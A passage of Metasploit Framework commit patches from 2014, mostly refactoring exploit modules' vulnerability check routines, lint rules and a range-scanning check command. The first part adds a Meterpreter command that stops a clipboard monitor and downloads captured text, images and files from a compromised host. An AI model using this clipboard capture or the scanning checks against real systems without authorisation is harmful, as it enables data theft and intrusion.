], + "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage() + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@set_text_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -266,6 +235,101 @@ protected end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if not ::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |r| + case r[:type] + when :text + print_line + + r[:data].each do |x| + title = "Text captured at #{x[:ts]}" + under = "-" * title.length + print_line(title) + print_line(under) + print_line(x[:text]) + print_line(under) + print_line + end + + when :jpg + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Images', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'Width', 'Height' + ] + ) + + r[:data].each do |x| + table << [x[:ts], x[:width], x[:height]] + end + + print_line + print_line(table.to_s) + + if get_images + print_line + print_status( "Downloading Clipboard Images ..." ) + r[:data].each do |j| + file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join( loot_dir, file ) + path = ::File.expand_path( path ) + ::File.open( path, 'wb' ) do |x| + x.write j[:data] + end + print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" ) + end + else + print_line( "Re-run with -d to download image(s)." ) + end + print_line + + when :files + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Files', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'File Path', 'Size (bytes)' + ] + ) + + total = 0 + r[:data].each do |x| + table << [x[:ts], x[:name], x[:size]] + total += x[:size] + end + + print_line + print_line(table.to_s) + + print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) + + if get_files + loot_dir = ::File.expand_path( loot_dir ) + print_line + print_status( "Downloading Clipboard Files ..." ) + r[:data].each do |f| + download_file( loot_dir, f[:name] ) + end + print_good( "Downloaded #{r[:data].length} file(s)." ) + else + print_line( "Re-run with -d to download file(s)." ) + end + end + end + end + end end From c83053ba9be5eccfbd2f350965a0260f640ebba3 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 22 Jan 2014 11:20:10 -0600 Subject: [PATCH 047/246] Progress --- modules/exploits/irix/lpd/tagprinter_exec.rb | 2 +- modules/exploits/linux/ftp/proftp_sreplace.rb | 2 +- modules/exploits/linux/ftp/proftp_telnet_iac.rb | 2 +- modules/exploits/linux/games/ut2004_secure.rb | 10 +++++----- modules/exploits/linux/http/astium_sqli_upload.rb | 2 +- .../linux/http/dlink_dir605l_captcha_bof.rb | 2 +- .../exploits/linux/http/hp_system_management.rb | 2 +- .../exploits/linux/http/linksys_wrt110_cmd_exec.rb | 3 ++- .../exploits/linux/http/mutiny_frontend_upload.rb | 2 +- modules/exploits/linux/http/nginx_chunked_size.rb | 5 +++-- .../linux/http/openfiler_networkcard_exec.rb | 8 ++++---- .../exploits/linux/http/pineapp_livelog_exec.rb | 2 +- .../linux/http/smt_ipmi_close_window_bof.rb | 2 +- .../http/synology_dsm_sliceupload_exec_noauth.rb | 14 +++++++------- 14 files changed, 30 insertions(+), 28 deletions(-) diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index 2a22ac30e4..b7f26527e2 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (resp =~ /IRIX/) - print_status("Response: #{resp.strip}") + vprint_status("Response: #{resp.strip}") return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index 866f6f0ec1..57306a041c 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote ret = connect # We just want the banner to check against our targets.. - print_status("FTP Banner: #{banner.strip}") + vprint_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index b18b7cc67e..399d462181 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -274,7 +274,7 @@ class Metasploit3 < Msf::Exploit::Remote banner = sock.get_once || '' # We just want the banner to check against our targets.. - print_status("FTP Banner: #{banner.strip}") + vprint_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.3\.[23][^ ])/i diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index d056df5613..ef2f097f2e 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -92,23 +92,23 @@ class Metasploit3 < Msf::Exploit::Remote vers = ut_version if (not vers) - print_status("Could not detect Unreal Tournament Server") - return + vprint_status("Could not detect Unreal Tournament Server") + return Exploit::CheckCode::Unknown end print_status("Detected Unreal Tournament Server Version: #{vers}") if (vers =~ /^(3120|3186|3204)$/) - print_status("This system appears to be exploitable") + vprint_status("This system appears to be exploitable") return Exploit::CheckCode::Appears end if (vers =~ /^(2...)$/) - print_status("This system appears to be running UT2003") + vprint_status("This system appears to be running UT2003") return Exploit::CheckCode::Detected end - print_status("This system appears to be patched") + vprint_status("This system appears to be patched") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 3fa37da1a3..d6f0676960 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote def check # Check version - print_status("#{peer} - Trying to detect Astium") + vprint_status("#{peer} - Trying to detect Astium") res = send_request_cgi({ 'method' => 'GET', diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index d636f73a92..4584c79a40 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_cgi({ 'uri' => '/comm.asp' }) if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/ - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index e6a4f2c311..81ba676a05 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/ version = $1 - return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1" + return Exploit::CheckCode::Appears if version <= "7.1.1.1" end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 7940a3ddce..e1abb96056 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -57,7 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/HNAP1/' }) rescue ::Rex::ConnectionError - return Exploit::CheckCode::Safe + vprint_error("A connection error has occured") + return Exploit::CheckCode::Unknown end if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/ diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 3ea050d12a..95835e1780 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote end if version and version >= "5" and version <= "5.0-1.07" - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 0b2d857f61..8ca4131d31 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -88,10 +88,11 @@ class Metasploit4 < Msf::Exploit::Remote end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end # diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 6b811fb3bd..b1542c492e 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote def check # retrieve software version from login page - print_status("#{peer} - Sending check") + vprint_status("#{peer} - Sending check") begin res = send_request_cgi({ 'uri' => '/' @@ -83,10 +83,10 @@ class Metasploit3 < Msf::Exploit::Remote end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown - + return Exploit::CheckCode::Safe end def on_new_session(client) diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index 4d13b0dcbd..f76a7463ba 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote 'nsserver' => Rex::Text.encode_base64("127.0.0.1") } }) - if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/ + if res and res.code == 200 and res.body =~ /NS Query result for 127\.0\.0\.1/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb index 5266a5669e..693c4f991f 100644 --- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb +++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end def target_smt_x9_214 diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 5ed6644527..2e8d2c1359 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - print_status("#{peer} - Trying to detect installed version") + vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', @@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else - print_status("#{peer} - Detection failed") + vprint_status("#{peer} - Detection failed") return Exploit::CheckCode::Unknown end - print_status("#{peer} - Model #{model} with version #{version}-#{build} detected") + vprint_status("#{peer} - Model #{model} with version #{version}-#{build} detected") case version when '4.0' - return Exploit::CheckCode::Vulnerable if build < '2259' + return Exploit::CheckCode::Appears if build < '2259' when '4.1' - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when '4.2' - return Exploit::CheckCode::Vulnerable if build < '3243' + return Exploit::CheckCode::Appears if build < '3243' when '4.3' - return Exploit::CheckCode::Vulnerable if build < '3810' + return Exploit::CheckCode::Appears if build < '3810' return Exploit::CheckCode::Detected if build == '3810' end From 7f560a4b4181bc8e0b30a9c5c362300d567f8ff8 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 22 Jan 2014 11:23:18 -0600 Subject: [PATCH 048/246] Oops, I broke this module --- modules/exploits/multi/http/traq_plugin_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index ddb499cdb0..219a01a5d6 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -1,4 +1,4 @@ -f## +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 31c0f45b27b40faeb0f5f0c418cecd77a0c1d372 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 22 Jan 2014 15:26:16 -0600 Subject: [PATCH 049/246] Add routine to check bad check codes --- tools/msftidy.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 97f8ac9017..7658224fa3 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -437,6 +437,13 @@ class Msftidy } end + def check_vuln_codes + checkcode = @source.scan(/(Exploit::)?CheckCode::(\w+)/).flatten[1] + if checkcode and checkcode !~ /^Unknown|Safe|Detected|Appears|Vulnerable|Unsupported$/ + error("Unrecognized checkcode: #{checkcode.to_s}") + end + end + private def load_file(file) @@ -466,6 +473,7 @@ def run_checks(full_filepath) tidy.check_lines tidy.check_snake_case_filename tidy.check_comment_splat + tidy.check_vuln_codes end ## From 5073d3201febec7db09101d5c750104db87131cf Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 22 Jan 2014 16:10:14 -0600 Subject: [PATCH 050/246] Update rspec for ms08_067 check The original version doesn't return a check if the host is invalid, looks like it was forgotten. The new version will return Unknown instead. --- spec/msfcli_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index d2133b28ff..779caa61b3 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -369,7 +369,7 @@ describe Msfcli do m = cli.init_modules cli.engage_mode(m) } - stdout.should =~ /failed/ + stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1].to_s}/ end it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do From c48595f239708b62df43b27de40b805a45f5bd64 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 00:37:32 -0600 Subject: [PATCH 051/246] Add support to scan a range of IPs for the check command [SeeRM #8737] This allows the check command to scan multiple hosts. --- .../ui/console/module_command_dispatcher.rb | 32 ++++++++++++++++--- 1 file changed, 28 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index f15e359393..035a33c3c2 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -41,23 +41,47 @@ module ModuleCommandDispatcher # def cmd_check(*args) defanged? + + ip_range_arg = args.shift || '' + hosts = Rex::Socket::RangeWalker.new(ip_range_arg) + + if hosts.ranges.blank? + # Check a single rhost + check_simple + else + # Check a range + last_rhost_opt = mod.rhost + hosts.each do |ip| + mod.datastore['RHOST'] = ip + check_simple + end + + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt if last_rhost_opt + end + end + + def check_simple + rhost = mod.rhost + rport = mod.rport + begin code = mod.check_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good(code[1]) + print_good("#{rhost}:#{rport} - #{code[1]}") else - print_status(code[1]) + print_status("#{rhost}:#{rport} - #{code[1]}") end else - print_error("Check failed: The state could not be determined.") + print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end rescue ::Interrupt raise $! rescue ::Exception => e - print_error("Exploit check failed: #{e.class} #{e}") + print_error("#{rhost}:#{rport} - Exploit check failed: #{e.class} #{e}") if(e.class.to_s != 'Msf::OptionValidateError') print_error("Call stack:") e.backtrace.each do |line| From b07e87b1d623eae8f45e6ab350fef116b8382d1e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 10:33:05 -0600 Subject: [PATCH 052/246] Fix nil rhost --- lib/msf/ui/console/module_command_dispatcher.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 035a33c3c2..fed969daf4 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -57,7 +57,7 @@ module ModuleCommandDispatcher end # Restore the original rhost if set - mod.datastore['RHOST'] = last_rhost_opt if last_rhost_opt + mod.datastore['RHOST'] = last_rhost_opt end end @@ -81,13 +81,15 @@ module ModuleCommandDispatcher rescue ::Interrupt raise $! rescue ::Exception => e - print_error("#{rhost}:#{rport} - Exploit check failed: #{e.class} #{e}") if(e.class.to_s != 'Msf::OptionValidateError') + print_error("Exploit check failed: #{e.class} #{e}") print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple/ print_error(" #{line}") end + else + print_error("#{rhost}:#{rport} - Exploit check failed: #{e.class} #{e}") end end end From 333229ea7e2669eb690d51c06123afabdb3a9743 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 10:54:45 -0600 Subject: [PATCH 053/246] Throw Unknown if connection times out --- modules/exploits/linux/http/hp_system_management.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index 81ba676a05..1029c220a0 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -71,7 +71,10 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => "/cpqlogin.htm" }) - if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/ + if res.nil? + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/ version = $1 return Exploit::CheckCode::Appears if version <= "7.1.1.1" end From 0a10c1297c27b693b8af2729a305796c44167db0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 11:00:28 -0600 Subject: [PATCH 054/246] Address nil --- modules/exploits/linux/http/mutiny_frontend_upload.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 95835e1780..2f2bbc92a6 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -128,7 +128,10 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "interface", "/"), }) - if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ + if res.nil? + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ version = $1 end From c403c521b3d14ca49052b5c4f5a71d8708eaeffc Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 11:03:40 -0600 Subject: [PATCH 055/246] Change check code --- modules/exploits/windows/ftp/servu_mdtm.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 5ad67c1cf8..070c3f348e 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -100,8 +100,8 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Appears when /Serv-U FTP Server v5\.0/ - vprint_status('Found version 5'); - return Exploit::CheckCode::Appears + vprint_status('Found version 5! 5.0.0.0 may be exploitable, but not 5.0.0.4'); + return Exploit::CheckCode::Detected when /Serv-U FTP Server v4\.0/ vprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.'); From 2ea3b46988141c42804a731c122c85df007dcef1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 23 Jan 2014 14:21:48 -0600 Subject: [PATCH 056/246] Remove to_s inside #{} --- spec/msfcli_spec.rb | 2 +- tools/msftidy.rb | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 779caa61b3..1cf222b4e6 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -369,7 +369,7 @@ describe Msfcli do m = cli.init_modules cli.engage_mode(m) } - stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1].to_s}/ + stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1]}/ end it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 7658224fa3..87adeeb772 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -57,17 +57,17 @@ class Msftidy ## def warn(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" end def error(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{txt}" end def fixed(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' + line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{txt}" end @@ -389,7 +389,7 @@ class Msftidy end if (ln.length > LONG_LINE_LENGTH) - warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) + warn("Line exceeding #{LONG_LINE_LENGTH} bytes", idx) end if ln =~ /[ \t]$/ @@ -440,7 +440,7 @@ class Msftidy def check_vuln_codes checkcode = @source.scan(/(Exploit::)?CheckCode::(\w+)/).flatten[1] if checkcode and checkcode !~ /^Unknown|Safe|Detected|Appears|Vulnerable|Unsupported$/ - error("Unrecognized checkcode: #{checkcode.to_s}") + error("Unrecognized checkcode: #{checkcode}") end end From 8d411d2037b10591161fbd9ca3b338fdc78c070c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 15:29:40 -0600 Subject: [PATCH 057/246] Fix bailiwicked_domain to allow support of check() --- .../auxiliary/spoof/dns/bailiwicked_domain.rb | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 62bc90f183..eb1f0e2a31 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -75,14 +75,9 @@ class Metasploit3 < Msf::Auxiliary calculate_race(targ, dom) end - def cmd_check(*args) - targ = args[0] || rhost() - if !(targ and targ.length > 0) - print_status("usage: check [dns-server]") - return - end + def check + targ = rhost - print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 @@ -111,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') - print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") + vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true @@ -132,24 +127,29 @@ class Metasploit3 < Msf::Auxiliary srv_sock.close if(ports.keys.length == 0) - print_error("ERROR: This server is not replying to recursive requests") - return + vprint_error("ERROR: This server is not replying to recursive requests") + return Exploit::CheckCode::Unknown end if(reps < 30) - print_warning("WARNING: This server did not reply to all of our requests") + vprint_warning("WARNING: This server did not reply to all of our requests") end if(random) ports_u = ports.keys.length ports_r = ((ports.keys.length/30.0)*100).to_i - print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") + vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") if(ports_r != 100) - print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") + vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") + # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence + return Exploit::CheckCode::Appears end else - print_error("FAIL: This server uses a static source port and is vulnerable to poisoning") + vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") + return Exploit::CheckCode::Vulnerable end + + Exploit::CheckCode::Safe end def run From f5a935a1869ebe655b21d02e77718d542a8ad62d Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 15:31:37 -0600 Subject: [PATCH 058/246] Support check for bailiwicked_host --- .../auxiliary/spoof/dns/bailiwicked_host.rb | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index 6e584e4c4f..6f81391875 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -73,14 +73,9 @@ class Metasploit3 < Msf::Auxiliary calculate_race(targ, dom) end - def cmd_check(*args) - targ = args[0] || rhost() - if !(targ and targ.length > 0) - print_status("usage: check [dns-server]") - return - end + def check + targ = rhost - print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 @@ -109,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') - print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") + vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true @@ -130,12 +125,12 @@ class Metasploit3 < Msf::Auxiliary srv_sock.close if(ports.keys.length == 0) - print_error("ERROR: This server is not replying to recursive requests") - return + vprint_error("ERROR: This server is not replying to recursive requests") + return Exploit::CheckCode::Unknown end if(reps < 30) - print_warning("WARNING: This server did not reply to all of our requests") + vprint_warning("WARNING: This server did not reply to all of our requests") end if(random) @@ -143,11 +138,16 @@ class Metasploit3 < Msf::Auxiliary ports_r = ((ports.keys.length/30.0)*100).to_i print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") if(ports_r != 100) - print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") + vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") + # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence + return Exploit::CheckCode::Appears end else - print_error("FAIL: This server uses a static source port and is vulnerable to poisoning") + vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") + return Exploit::CheckCode::Vulnerable end + + Exploit::CheckCode::Safe end def run From 81a3b2934e6fd55c12d7248b3c2e9e81808e01c8 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 23 Jan 2014 15:33:24 -0600 Subject: [PATCH 059/246] Fix prints --- modules/auxiliary/admin/http/intersil_pass_reset.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 